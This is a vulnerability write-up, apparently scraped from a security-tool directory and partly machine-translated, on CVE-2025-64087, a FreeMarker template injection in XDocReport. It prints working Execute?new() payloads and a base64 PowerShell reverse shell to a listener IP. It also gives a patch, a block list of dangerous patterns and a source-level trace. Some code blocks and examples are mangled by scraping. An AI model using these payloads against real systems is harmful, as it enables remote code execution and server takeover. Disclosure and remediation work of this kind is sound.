Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-64087-SSTI- — CVE-2025-64087 (SSTI) | Kitploit
उपकरण/GitHubGitHub/at190510-cuong/cve-2025-64087-ssti-
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubat190510-cuong/cve-2025-64087-ssti-

CVE-2025-64087-SSTI-

CVE-2025-64087 (SSTI)

रिपॉजिटरी देखें
116 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-64087 (SSTI FreeMarker)

Server-Side Template Injection (SSTI) in XDocReport allows Remote Code Execution via Apache FreeMarker engine

Bug Definition

भेद्यता का अवलोकन

  • Server-Side Template Injection (SSTI) एक वेब सुरक्षा भेद्यता है जो हमलावरों को सामग्री प्रबंधन प्रणालियों (CMS) और वेब फ्रेमवर्क द्वारा उपयोग किए जाने वाले टेम्पलेट्स में दुर्भावनापूर्ण कोड इंजेक्ट करने की अनुमति देता है, ताकि दूरस्थ हमले किए जा सकें, संवेदनशील जानकारी प्राप्त की जा सके या सिस्टम में घुसपैठ की जा सके।

  • SSTI एक इंजेक्शन भेद्यता का एक प्रकार है (जैसे SQL Injection, XSS, आदि), जिसमें हैकर्स दूरस्थ रूप से दुर्भावनापूर्ण कोड तैनात करने के लिए टेम्पलेट सिस्टम के उपयोग का लाभ उठाते हैं। जब एक SSTI हमला सफलतापूर्वक किया जाता है, तो हैकर सर्वर-साइड पर अपना स्वयं का कोड निष्पादित कर सकता है, जिससे वे दूरस्थ हमले कर सकते हैं, जैसे संवेदनशील जानकारी एकत्र करना, सिस्टम में घुसपैठ करना, और अनधिकृत संसाधनों तक पहुंच बनाना।

  • SSTI भेद्यता अक्सर असुरक्षित टेम्पलेट सिस्टम के उपयोग के कारण होती है, या इनपुट मापदंडों को टेम्पलेट्स में डालने से पहले जांचने और संसाधित न करने के कारण होती है। यदि SSTI हमला सफलतापूर्वक किया जाता है, तो परिणाम गंभीर हो सकते हैं और हमलावर संगठन को बड़ा नुकसान हो सकता है।

व्यावसायिक प्रभाव

  • SSTI भेद्यता कई गंभीर परिणाम पैदा कर सकती है, जिनमें शामिल हैं:

  • दुर्भावनापूर्ण कोड निष्पादन: हमलावर इस भेद्यता का उपयोग सर्वर पर दुर्भावनापूर्ण कोड निष्पादित करने के लिए कर सकते हैं, जिससे डेटा चोरी, सिस्टम पर अवैध कार्य, और यहां तक कि सर्वर पर पूर्ण नियंत्रण संभव हो जाता है।

  • संवेदनशील जानकारी का खुलासा: SSTI हमलावर को सर्वर पर फ़ाइलों को पढ़ने, बदलने या हटाने की अनुमति दे सकता है। यदि इन फ़ाइलों में खाता नाम और पासवर्ड जैसी संवेदनशील जानकारी है, तो हमलावर आसानी से इस जानकारी का खुलासा कर सकता है।

टूल डाउनलोड करें
  • उपयोगकर्ताओं को धमकी या धोखाधड़ी हमले: हमलावर SSTI का उपयोग करके वेबसाइट की सामग्री को बदलकर या नकली कस्टम बटन जोड़कर उपयोगकर्ताओं को धमकी या धोखाधड़ी के हमले कर सकता है। यदि उपयोगकर्ता इन बटनों पर क्लिक करते हैं, तो हमलावर उपयोगकर्ता की जानकारी चुरा सकता है या उनके कंप्यूटर पर मैलवेयर स्थापित कर सकता है।

  • Severity: CRITICAL

    image

    Description and Impact

    A Server-Side Template Injection (SSTI) vulnerability was found in OpenSAGRES XDocReport when processing DOCX templates with the FreeMarker engine. Under certain configurations, crafted templates can lead to Remote Code Execution (RCE).

    मानव संसाधन प्रबंधन वेबसाइट उपयोगकर्ताओं को सिस्टम पर .docx दस्तावेज़ फ़ाइल अपलोड करने की अनुमति देती है। प्रसंस्करण के दौरान, एप्लिकेशन FreeMarker टेम्पलेट इंजन (फ़ाइल FreemarkerTemplateEngine.java में) का उपयोग करके ${"freemarker.template.utility.Execute"?new()("whoami")} सामग्री को रेंडर करता है, बिना इनपुट सामग्री की जांच या फ़िल्टर करने के किसी तंत्र के। यह भेद्यता हमलावर को .docx फ़ाइल (टेम्पलेट) में दुर्भावनापूर्ण अभिव्यक्तियाँ डालने की अनुमति देती है, जिससे सर्वर पर रिमोट कोड निष्पादन (RCE) होता है, और इसका उपयोग जानकारी चुराने या सिस्टम पर नियंत्रण प्राप्त करने के लिए किया जा सकता है।

    Affected component

    fr.opensagres.xdocreport.template.freemarker — XDocReport (versions 1.0.0 through 2.1.0).

    Root cause analysis

    • tại file https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java không thực hiện kiểm tra nội dung của file xdoc đầu vào.Nội dung template được nạp thẳng và chuyển vào process(context, writer, template) để xử lý bởi engine FreeMarker mà không có cơ chế sandboxing hoặc hạn chế directive/biểu thức. Kết quả là attacker có thể cung cấp template chứa biểu thức/dòng lệnh FreeMarker độc hại, dẫn đến thực thi mã từ xa (RCE).

    image

    Step to reproduce

    1. उपयोगकर्ता निम्नलिखित पेलोड सामग्री वाली .docx फ़ाइल अपलोड करता है:``` ${"freemarker.template.utility.Execute"?new()("calc")}
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    2. देखा गया कि सफलतापूर्वक निष्पादित किया जा सकता है और कैल्क एप्लिकेशन खोल सकता है
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    3. इसी प्रकार, सिस्टम पर चल रहे उपयोगकर्ता की जानकारी प्राप्त करने के लिए पेलोड के साथ:```
    ${"freemarker.template.utility.Execute"?new()("whoami")}
    

    image

    image

    1. यह देखा जा सकता है कि टेम्पलेट इंजन के प्रसंस्करण के बाद .docx फ़ाइल सिस्टम डेटा लौटा रही है।

    image

    1. इसी प्रकार निम्नलिखित पेलोड के साथ:``` ${"freemarker.template.utility.Execute"?new()("cmd /c dir d:")}
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    6. प्रभाव को RCE तक बढ़ाएँ
    
    - सुनने वाली मशीन wsl है जिसका IP पता `172.26.208.130` है
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    - निम्नलिखित payload के साथ शोषण करें:
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
    ${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
    

    image

    • .docx फ़ाइल को xdocreport द्वारा प्रोसेस करने के लिए दें

    image

    • wsl मशीन पर शेल वापस आते हुए देखा

    image

    समाधान

    रिफ़्लेक्शन निष्पादन को रोकना (सबसे सुरक्षित, लेकिन अभी बिल्ड में त्रुटि है)

    • फ़ाइल xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java में निम्नलिखित सामग्री जोड़ें

    image

    image

    मेरे फिक्स में अभी भी ऑब्जेक्ट और प्रॉपर्टीज़ को सामान्य रूप से रेंडर करने की अनुमति है जैसे ${cuong.name} और केवल खतरनाक बिल्ट-इन फ़ंक्शन को रोका गया है

    • सभी SSTI पेलोड ब्लॉक हो गए:
      • ${'freemarker.template.utility.Execute'?new()('calc')} - ब्लॉक ALLOWS_NOTHING_RESOLVER द्वारा
      • ${'java.lang.Runtime'?api.getRuntime()} - ब्लॉक setAPIBuiltinEnabled(false) द्वारा
      • ?new() और ?api का उपयोग करने वाले अन्य सभी पेलोड ब्लॉक हो गए

    इनपुट सत्यापन

    1. मुख्य फ़ाइल - FreemarkerTemplateEngine.java

    पथ: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java

    परिवर्तन:

    • ✅ इम्पोर्ट जोड़ा: java.util.regex.Pattern
      image

    • ✅ विधि validateTemplateSecurity(Reader reader) जोड़ी गई — खतरनाक पैटर्न की जाँच करती है
      image

    • ✅ processNoCache() अपडेट किया गया — Template बनाने से पहले सत्यापन जोड़ा गया
      image

    • ✅ process(String templateName, …) अपडेट किया गया — इस विधि में सत्यापन जोड़ा गया
      image

    2. परीक्षण फ़ाइल - FreemarkerTemplateEngineSecurityTestCase.java

    पथ: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java

    परिवर्तन:

    • ✅ नया परीक्षण मामला बनाया गया — सामान्य SSTI पेलोड की जाँच करता है
    • ✅ मुख्य पेलोड का परीक्षण: ${"freemarker.template.utility.Execute"?new()("whoami")}
    • ✅ अतिरिक्त पैटर्न का परीक्षण: ?new, java.lang.Runtime, java.lang.ProcessBuilder, आदि।
    • ✅ सुरक्षित टेम्पलेट परीक्षण — सुनिश्चित करता है कि सामान्य टेम्पलेट ठीक से काम करते रहें

    परिवर्तनों का सारांश

    फ़ाइलपरिवर्तन का प्रकारउद्देश्य
    FreemarkerTemplateEngine.javaसंशोधितSSTI सुरक्षा जोड़ी गई
    FreemarkerTemplateEngineSecurityTestCase.javaनई फ़ाइलसत्यापन तर्क का परीक्षण

    अंतिम फिक्स

    • https://github.com/opensagres/xdocreport/pull/705

    image

    image

    पैच 2.2.0 में सुरक्षा तंत्र सक्षम किया गया और SSTI को सफलतापूर्वक रोका गया

    image

    संदर्भ

    • https://portswigger.net/web-security/server-side-template-injection

    डिबगिंग वातावरण सेटअप

    image

    • Main.java फ़ाइल में```java package org.example;

    import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;

    import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;

    public class Main {

    root@kitploit:~
    public static void main(String[] args) {
        try {
            // Đọc file đầu vào chứa biểu thức Velocity
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
            InputStream input = new FileInputStream(docxTemplate);
    
            // Load template sử dụng FreeMarker
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
    
            // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
            IContext context = report.createContext();
    
            // Xuất ra file mới
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);
    
            System.out.println("✅ Đã tạo file result.docx thành công.");
        } catch (Exception e) {
            System.err.println("❌ Lỗi xử lý file:");
            e.printStackTrace();
        }
    }
    

    }

    root@kitploit:~
    - आवश्यक लाइब्रेरी```xml
    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
    
        <groupId>org.example</groupId>
        <artifactId>vcs1</artifactId>
        <version>1.0-SNAPSHOT</version>
    
        <properties>
            <maven.compiler.source>18</maven.compiler.source>
            <maven.compiler.target>18</maven.compiler.target>
            <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        </properties>
    
        <dependencies>
            <!-- Template engine: FreeMarker -->
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
                <version>2.1.0</version>
            </dependency>
    
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
                <version>2.0.3</version>
            </dependency>
        </dependencies>
    </project>
    

    A प्रारंभ बिंदु (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");

    root@kitploit:~
    → स्रोत यह DOCX फ़ाइल है — यदि फ़ाइल उपयोगकर्ता द्वारा अपलोड/लिखी जाती है, तो अंदर का टेम्पलेट सामग्री (FreeMarker syntax) अविश्वसनीय डेटा है।```
    InputStream input = new FileInputStream(docxTemplate);
    

    → फ़ाइल सामग्री पढ़ें ताकि XDocReport को अग्रेषित किया जा सके।```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

    root@kitploit:~
    - loadReport(...) DOCX फ़ाइल को पार्स (parse) करेगा, DOCX में entry/template ढूंढेगा और एक IXDocReport बनाएगा (इसके अंदर FreeMarker का Template ऑब्जेक्ट आरंभ करेगा या टेम्पलेट के लिए रीडर रखेगा)।
    
    - DOCX फ़ाइल में टेम्पलेट की सामग्री अब रिपोर्ट ऑब्जेक्ट में है (अभी तक निष्पादित नहीं हुई)।
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    zipInputStream.getNextEntry() ZIP (.docx) के अंदर प्रत्येक entry (प्रत्येक फ़ाइल) पर लूप करता है।
    
    archive = new XDocArchive(...) — यदि अभी तक कोई archive नहीं है, तो दस्तावेज़ की entries को व्यवस्थित/पंजीकृत करने के लिए एक ऑब्जेक्ट आरंभ करता है।
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    संक्षेप में: यह भाग DOCX सामग्री को एक आंतरिक संरचना (XDocArchive) में अनज़िप करता है ताकि बाद में उप-फ़ाइलों (document.xml,...) तक पहुँचा जा सके।```java
    private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
                                        ITemplateEngine templateEngine, boolean cacheReport )
            throws IOException, XDocReportException
        {
            initializeIfNeeded();
            // 2) zip was loaded, create an instance of report
            IXDocReport report = createReport( sourceStream );
            // 3) Update the report id if need.
            if ( StringUtils.isEmpty( reportId ) )
            {
                reportId = report.toString();
            }
            report.setId( reportId );
            // 4) Search or set the template engine.
            if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
            {
                // Template engine was not forced.
                // Search template engine
                String documentKind = report.getKind();
                templateEngine =
                    TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
                if ( templateEngine == null )
                {
                    templateEngine =
                        TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
                }
            }
            report.setTemplateEngine( templateEngine );
            if ( cacheReport )
            {
                registerReport( report );
            }
            return report;
        }
    
    चरणक्रियाउद्देश्य
    1DOCX फ़ाइल पढ़ेंमूल रिपोर्ट संरचना प्राप्त करें
    2IXDocReport बनाएंटेम्पलेट का प्रतिनिधित्व करें
    3ID असाइन करेंअद्वितीय प्रबंधन
    4टेम्पलेट इंजन चुनेंअभिव्यक्ति प्रसंस्करण के लिए (Freemarker/Velocity)
    5यदि आवश्यक हो तो कैश करेंप्रदर्शन अनुकूलन
    6रिपोर्ट लौटाएंपरिणाम फ़ाइल प्रस्तुत करने के लिए उपयोग करें

    image

    संक्षेप में, IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); पर कोई SSTI जाँच तंत्र नहीं है, बल्कि यह केवल docx में xml फ़ाइलों को लोड करता है और प्रसंस्करण के लिए तैयार IXDocReport report लौटाता है (जैसे रेंडर, डेटा मर्ज आदि)।

    image

    report.process(context, out); पर

    image

    • यह सक्रियण बिंदु (निष्पादन सिंक) है: XDocReport संबंधित इंजन (यहाँ FreeMarker) को कॉल करेगा ताकि टेम्पलेट को context के साथ मर्ज करे और परिणाम को out पर रेंडर करे।
    • यह विधि पहले से लोड किए गए दस्तावेज़ टेम्पलेट (जैसे .docx या .odt) को लेती है, फिर context ऑब्जेक्ट (आमतौर पर IContext) से डेटा को टेम्पलेट में चर में एम्बेड करती है।
    • फिर यह पूर्ण दस्तावेज़ (वास्तविक डेटा के साथ) रेंडर करता है और परिणाम को out स्ट्रीम पर लिखता है, अर्थात results.docx फ़ाइल में।

    इस फ़ंक्शन के अंदर गहराई में जाने पर, यह preprocess(...) को कॉल करता है जो प्रत्येक XML प्रविष्टि को पढ़ता है, फिर XML सामग्री को पार्स करता है और BufferedDocument बनाता है और Writer पर लिखता है (यह प्रारंभिक रूप से संसाधित XML संस्करण है)।

    image```java public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata, IDocumentFormatter formatter, Map<String, Object> sharedContext ) throws XDocReportException, IOException { try { XMLReader xmlReader = XMLReaderFactory.createXMLReader(); BufferedDocumentContentHandler<?> contentHandler = createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext ); xmlReader.setContentHandler( contentHandler ); xmlReader.parse( new InputSource( reader ) ); BufferedDocument document = contentHandler.getBufferedDocument(); if ( document != null ) { document.save( writer ); // StringWriter s = new StringWriter(); // document.save( s ); // System.err.println( s ); return true; }

    root@kitploit:~
            return false;
        }
        catch ( SAXException e )
        {
            throw new XDocReportException( e );
        }
    }
    
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    उसके बाद यह `processNoCache()` में प्रवेश करता है और `getReader()` को कॉल करता है
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    `getReader()` फ़ंक्शन का उपयोग संपूर्ण टेम्पलेट के चारों ओर एस्केप डायरेक्टिव रैपर जोड़ने के लिए किया जाता है, ताकि सामग्री सुरक्षित रूप से संसाधित हो (HTML एस्केप, इंजेक्शन से बचाव).
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    मूल टेम्पलेट:```xml
    <w:p>
      <w:t>Hello ${name}!</w:t>
    </w:p>
    

    getReader() के प्रसंस्करण के बाद:```xml [#-- Hello ${name}! [/#escape][#--]]>--]

    root@kitploit:~
    यह Freemarker engine को अधिक सुरक्षित रूप से पढ़ने में मदद करता है:
    
    - XML सुरक्षा: XML में विशेष वर्णों को एस्केप करें
    - सुरक्षित प्रसंस्करण: Freemarker template को parse करते समय त्रुटियों से बचें
    
    फिर `FMParser` को कॉल करके Freemarker सिंटैक्स का विश्लेषण करें
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    अंत में `process()` में जाकर `environment.process();` और reader डेटा को कॉल करें```
    public void process() throws TemplateException, IOException {
            Object savedEnv = threadEnv.get();
            threadEnv.set(this);
            try {
                // Cached values from a previous execution are possibly outdated.
                clearCachedValues();
                try {
                    doAutoImportsAndIncludes(this);
                    visit(getTemplate().getRootTreeNode());
                    // It's here as we must not flush if there was an exception.
                    if (getAutoFlush()) {
                        out.flush();
                    }
                } finally {
                    // It's just to allow the GC to free memory...
                    clearCachedValues();
                }
            } finally {
                threadEnv.set(savedEnv);
            }
        }
    

    👉 यह सबसे महत्वपूर्ण कदम है — वास्तविक रेंडरिंग यहाँ होती है।

    • getTemplate() पार्स किए गए टेम्पलेट (AST) को लौटाता है।

    • getRootTreeNode() सिंटैक्स ट्री का मूल नोड है जो FMParser द्वारा पार्स करने पर बनाया जाता है।

    • visit() FreeMarker का मुख्य API है, जिसका उपयोग टेम्पलेट के प्रत्येक तत्व को ट्रैवर्स और रेंडर करने के लिए किया जाता है, और इसे freemarker.core.Environment में परिभाषित किया गया है।

      • TextBlock मिलने पर → टेक्स्ट को out में लिखें।

      • Interpolation मिलने पर (उदाहरण ${user.name}) → डेटामॉडल में देखें, मान लें, out में लिखें।

      • #if, #list, #include, मैक्रो मिलने पर → संबंधित लॉजिक को संसाधित करें।```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }

    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    यह entryName `word/document.xml` पर ट्रिगर होता है
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    इसके बाद फ़ंक्शन `accept()` में जाता है
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
        TemplateElement[] accept(Environment env) throws TemplateException, IOException {
            final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
            final Writer out = env.getOut();
            if (moOrStr instanceof String) {
                final String s = (String) moOrStr;
                if (autoEscape) {
                    markupOutputFormat.output(s, out);
                } else {
                    out.write(s);
                }
            } else {
                final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
                final MarkupOutputFormat moOF = mo.getOutputFormat();
                // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
                if (moOF == outputFormat) {
                    moOF.output(mo, out);
                } else if (!outputFormat.isOutputFormatMixingAllowed()) {
                    final String srcPlainText;
                    // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
                    srcPlainText = moOF.getSourcePlainText(mo);
                    if (srcPlainText == null) {
                        throw new _TemplateModelException(escapedExpression,
                                "The value to print is in ", new _DelayedToString(moOF),
                                " format, which differs from the current output format, ",
                                new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
                    }
                    if (markupOutputFormat != null) {
                        markupOutputFormat.output(srcPlainText, out);
                    } else {
                        out.write(srcPlainText);
                    }
                } else if (markupOutputFormat != null) {
                    markupOutputFormat.outputForeign(mo, out);
                } else {
                    moOF.output(mo, out);
                }
            }
            return null;
        }
    

    चित्र```java final TemplateModel eval(Environment env) throws TemplateException { try { return constantValue != null ? constantValue : _eval(env); } catch (FlowControlException | TemplateException e) { throw e; } catch (Exception e) { if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) { throw new _MiscTemplateException( this, e, env, "Expression has thrown an unchecked exception; see the cause exception."); } else if (e instanceof RuntimeException) { throw (RuntimeException) e; } else { throw new UndeclaredThrowableException(e); } } }

    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    कार्य `visit()` में निष्पादन प्रवाह इस प्रकार है```
    visit(Interpolation)                // gọi accept(...)
     └─ Interpolation.accept(env)
         └─ calculateInterpolatedStringOrMarkup(env)
             └─ expression.eval(env)
                 └─ (đến _eval) target.eval(env)   // trả TemplateMethodModel (built-in new()/Execute)
                     └─ targetMethod.exec(arguments)  ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
    
    

    सारांश debug```

